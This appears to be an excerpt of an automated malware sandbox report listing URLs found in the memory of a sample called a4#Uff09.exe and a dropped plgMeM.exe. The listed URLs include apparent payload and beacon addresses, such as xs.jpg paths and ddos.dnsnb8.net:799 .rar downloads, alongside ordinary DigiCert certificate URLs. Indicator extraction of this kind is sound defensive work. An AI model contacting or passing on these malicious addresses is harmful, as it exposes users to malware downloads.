                Source: a4#Uff09.exe, a4#Uff09.exe, 00000000.00000003.1257485545.0000000000E56000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3834789318.0000000003F5B000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3851057210.0000000004963000.00000004.10000000.00040000.00000000.sdmp, a4#Uff09.exe, 00000000.00000003.1257352499.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3782061445.0000000000BDC000.00000040.00000001.01000000.00000003.sdmp, a4#Uff09.exe, 00000000.00000002.3810524933.0000000001208000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3810524933.000000000120E000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpString found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg
                Source: a4#Uff09.exe, 00000000.00000002.3895454085.0000000006256000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?1
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E95000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?174d281=24433281
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?1a
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?1y
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E95000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?28f128c=128792484Ld
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E95000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?35a0bf9=562329530
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E95000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?43295c0=563392000
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E95000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?438725f0=-1555596448
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E95000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?438725f0=-1555596448pk
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?53338f=5452687
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E95000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?654fad3=956092779
                Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?726fcf90=1464823472
                Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?8615d526=816752944
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E95000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?8ace3555=-1966197419
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E95000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?9010004=906362904
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E95000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?9010004=906362904d
                Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?d0e92fe1=-1580048446
                Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?d8491e75=1629780436
                Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?e9bb0874=558781576
                Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?f1d24191=-713636685
                Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?fa5e26a2=-188986044
                Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?fa5e26a2=-188986044S
                Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?ff1499a4=-30854328
                Source: a4#Uff09.exe, a4#Uff09.exe, 00000000.00000003.1257485545.0000000000E56000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3834789318.0000000003F5B000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3851057210.0000000004963000.00000004.10000000.00040000.00000000.sdmp, a4#Uff09.exe, 00000000.00000003.1257352499.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3782061445.0000000000BDC000.00000040.00000001.01000000.00000003.sdmp, a4#Uff09.exe, 00000000.00000002.3810524933.0000000001208000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3810524933.000000000120E000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpString found in binary or memory: http://amsamex.com/xs.jpg
                Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://amsamex.com/xs.jpg?1197e44d=590334106
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://amsamex.com/xs.jpg?19388a30=-63609376
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://amsamex.com/xs.jpg?19388a30=-6360937626
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://amsamex.com/xs.jpg?19388a30=-63609376Z3
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000DEE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://amsamex.com/xs.jpg?19388a30=-63609376lication
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://amsamex.com/xs.jpg?19388a30=-63609376w
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E95000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://amsamex.com/xs.jpg?1d746406=988334092
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000DEE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://amsamex.com/xs.jpg?267b74a=242109372
                Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://amsamex.com/xs.jpg?350b0141=1779827330
                Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://amsamex.com/xs.jpg?350b0141=177982733064
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E95000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://amsamex.com/xs.jpg?35b8cb69=901303145
                Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://amsamex.com/xs.jpg?35b8cb69=901303145-5
                Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://amsamex.com/xs.jpg?35b8cb69=901303145n5
                Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://amsamex.com/xs.jpg?3c258f85=1759599902
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://amsamex.com/xs.jpg?4dbd9c=35663684
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://amsamex.com/xs.jpg?4dbd9c=35663684=
                Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://amsamex.com/xs.jpg?6b868a19=1546932424
                Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://amsamex.com/xs.jpg?6b868a19=154693242425
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://amsamex.com/xs.jpg?82d33341=379165192
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://amsamex.com/xs.jpg?98d0501e=-131915476
                Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://amsamex.com/xs.jpg?98d0501e=-131915476e
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://amsamex.com/xs.jpg?a0c33157=-2096315044
                Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://amsamex.com/xs.jpg?afba421d=-837300533
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://amsamex.com/xs.jpg?b44a4f65=-785826412
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://amsamex.com/xs.jpg?b44a4f65=-78582641223
                Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3795310600.0000000000DEE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://amsamex.com/xs.jpg?b4b86da5=255084658
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://amsamex.com/xs.jpg?bc17dc7b=614926173
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://amsamex.com/xs.jpg?bd2a612f=931079053b2
                Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://amsamex.com/xs.jpg?c2637a3e=1354258354
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://amsamex.com/xs.jpg?f4282fb=768051441
                Source: a4#Uff09.exe, a4#Uff09.exe, 00000000.00000003.1257485545.0000000000E56000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3834789318.0000000003F5B000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3851057210.0000000004963000.00000004.10000000.00040000.00000000.sdmp, a4#Uff09.exe, 00000000.00000003.1257352499.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3782061445.0000000000BDC000.00000040.00000001.01000000.00000003.sdmp, a4#Uff09.exe, 00000000.00000002.3810524933.0000000001208000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3810524933.000000000120E000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpString found in binary or memory: http://apple-pie.in/images/xs.jpg
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://apple-pie.in/images/xs.jpg?14ce734=130902840F=V%
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://apple-pie.in/images/xs.jpg?1d23ecfe=-872711438D
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://apple-pie.in/images/xs.jpg?1d23ecfe=-872711438K
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://apple-pie.in/images/xs.jpg?229aaa09=-1392160211
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://apple-pie.in/images/xs.jpg?36d200da=303694914
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://apple-pie.in/images/xs.jpg?36d200da=3036949144
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://apple-pie.in/images/xs.jpg?36d200da=303694914Z
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://apple-pie.in/images/xs.jpg?3c5dbe75=2025553130
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://apple-pie.in/images/xs.jpg?3c5dbe75=2025553130J
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://apple-pie.in/images/xs.jpg?3c813930=1561082848
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://apple-pie.in/images/xs.jpg?3c813930=1561082848F
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://apple-pie.in/images/xs.jpg?4dbdbb=20379372
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://apple-pie.in/images/xs.jpg?5648852=90474578
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://apple-pie.in/images/xs.jpg?83277979=211674596
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://apple-pie.in/images/xs.jpg?83277979=211674596h
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://apple-pie.in/images/xs.jpg?84b746ce=-1910123414
                Source: a4#Uff09.exe, 00000000.00000002.3834789318.0000000003F5B000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://apple-pie.in/images/xs.jpg?b092bd4e=891856830
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://apple-pie.in/images/xs.jpg?b092bd4e=8918568300
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://apple-pie.in/images/xs.jpg?b092bd4e=891856830TGL$
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://apple-pie.in/images/xs.jpg?b7b144=96307744C
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://apple-pie.in/images/xs.jpg?bbc08714=859936060
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://apple-pie.in/images/xs.jpg?bbc08714=859936060t
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://apple-pie.in/images/xs.jpg?c2b7c0a5=-2056289974
                Source: a4#Uff09.exe, 00000000.00000002.3834789318.0000000003F5B000.00000004.00000010.00020000.00000000.sdmpString found in binary or memory: http://apple-pie.in/images/xs.jpgs.jpg
                Source: a4#Uff09.exe, a4#Uff09.exe, 00000000.00000003.1257485545.0000000000E56000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3834789318.0000000003F5B000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3851057210.0000000004963000.00000004.10000000.00040000.00000000.sdmp, a4#Uff09.exe, 00000000.00000003.1257352499.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3782061445.0000000000BDC000.00000040.00000001.01000000.00000003.sdmp, a4#Uff09.exe, 00000000.00000002.3810524933.0000000001208000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3810524933.000000000120E000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpString found in binary or memory: http://arthur.niria.biz/xs.jpg
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://arthur.niria.biz/xs.jpg?254323e7=625157095
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://arthur.niria.biz/xs.jpg?4cac3c=10049656
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://arthur.niria.biz/xs.jpg?4fd89b2a=-552361220
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E95000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://arthur.niria.biz/xs.jpg?4fd89b2a=-552361220Windows
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://arthur.niria.biz/xs.jpg?4fd89b2a=-552361220u1
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://arthur.niria.biz/xs.jpg?532c9a1d=1178089163
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://arthur.niria.biz/xs.jpg?7bdce87=12987968704
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://arthur.niria.biz/xs.jpg?7f9835e0=2113473888
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://arthur.niria.biz/xs.jpg?ad82783c=429275676
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://arthur.niria.biz/xs.jpg?ad82783c=429275676g1
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://arthur.niria.biz/xs.jpg?b14fbec7=1003336959
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://arthur.niria.biz/xs.jpg?b14fbec7=1003336959/1&%
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://arthur.niria.biz/xs.jpg?b14fbec7=1003336959f
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://arthur.niria.biz/xs.jpg?bec5d02e=1011970186%0
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://arthur.niria.biz/xs.jpg?bec5d02e=1011970186c0
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://arthur.niria.biz/xs.jpg?e470f49d=1520810926
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://arthur.niria.biz/xs.jpg?e8e2ac16=1968179332
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://arthur.niria.biz/xs.jpg?e8e2ac16=1968179332G0
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://arthur.niria.biz/xs.jpg?f4c69117=-1506506568
                Source: explorer.exe, 00000010.00000003.3079413409.000000000730A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000000.1363187859.0000000007306000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3905756084.0000000007306000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.4098690958.0000000008F83000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000000.1368434403.0000000008F83000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000003.3079077818.0000000007306000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000003.2277100746.0000000007306000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000003.3076107312.0000000008F83000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
                Source: svchost.exe, 0000000D.00000000.1340089578.000001D959FEC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG3.crt0
                Source: explorer.exe, 00000010.00000003.3079413409.000000000730A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000000.1363187859.0000000007306000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3905756084.0000000007306000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.4098690958.0000000008F83000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000000.1368434403.0000000008F83000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000003.3079077818.0000000007306000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000003.2277100746.0000000007306000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000003.3076107312.0000000008F83000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
                Source: svchost.exe, 0000000D.00000000.1340089578.000001D959FEC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG3.crl07
                Source: SearchApp.exe, 0000001C.00000000.1469212074.000001F49A7D8000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000000.1493216454.000001F49BD00000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0
                Source: explorer.exe, 00000010.00000003.3079413409.000000000730A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000000.1363187859.0000000007306000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3905756084.0000000007306000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.4098690958.0000000008F83000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000000.1368434403.0000000008F83000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000003.3079077818.0000000007306000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000003.2277100746.0000000007306000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000003.3076107312.0000000008F83000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
                Source: svchost.exe, 0000000D.00000000.1340089578.000001D959FEC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG3.crl0
                Source: plgMeM.exe, 00000002.00000003.1283746578.00000000015E8000.00000004.00000020.00020000.00000000.sdmp, plgMeM.exe, 00000002.00000002.1372427561.00000000015DD000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ddos.dnsnb8.net/
                Source: plgMeM.exe, 00000002.00000003.1283746578.00000000015E8000.00000004.00000020.00020000.00000000.sdmp, plgMeM.exe, 00000002.00000003.1283746578.00000000015FA000.00000004.00000020.00020000.00000000.sdmp, plgMeM.exe, 00000002.00000002.1372427561.000000000158B000.00000004.00000020.00020000.00000000.sdmp, plgMeM.exe, 00000002.00000002.1372427561.00000000015DD000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rar
                Source: plgMeM.exe, 00000002.00000003.1284559369.00000000015CF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rarC:
                Source: plgMeM.exe, 00000002.00000003.1283746578.00000000015E8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rarH_
                Source: plgMeM.exe, 00000002.00000003.1283746578.00000000015FA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rarcC:
                Source: plgMeM.exe, 00000002.00000002.1372427561.000000000156E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rart6
                Source: plgMeM.exe, 00000002.00000002.1372427561.000000000158B000.00000004.00000020.00020000.00000000.sdmp, plgMeM.exe, 00000002.00000002.1372427561.00000000015DD000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ddos.dnsnb8.net:799/cj//k2.rar
                Source: plgMeM.exe, 00000002.00000002.1372427561.000000000158B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ddos.dnsnb8.net:799/cj//k2.rar#
                Source: plgMeM.exe, 00000002.00000002.1372427561.00000000015DD000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ddos.dnsnb8.net:799/cj//k2.rar5
                Source: plgMeM.exe, 00000002.00000002.1372427561.00000000015DD000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ddos.dnsnb8.net:799/cj//k2.rar6_
                Source: plgMeM.exe, 00000002.00000002.1372427561.00000000015DD000.00000004.00000020.00020000.00000000.sdmp, plgMeM.exe, 00000002.00000002.1373181796.000000000314A000.00000004.00000010.00020000.00000000.sdmpString found in binary or memory: http://ddos.dnsnb8.net:799/cj//k3.rar
                Source: plgMeM.exe, 00000002.00000002.1372427561.00000000015DD000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ddos.dnsnb8.net:799/cj//k3.rar.
                Source: plgMeM.exe, 00000002.00000002.1373181796.000000000314A000.00000004.00000010.00020000.00000000.sdmpString found in binary or memory: http://ddos.dnsnb8.net:799/cj//k3.rarp
                Source: plgMeM.exe, 00000002.00000002.1372427561.000000000158B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ddos.dnsnb8.net:799/cj//k3.rars
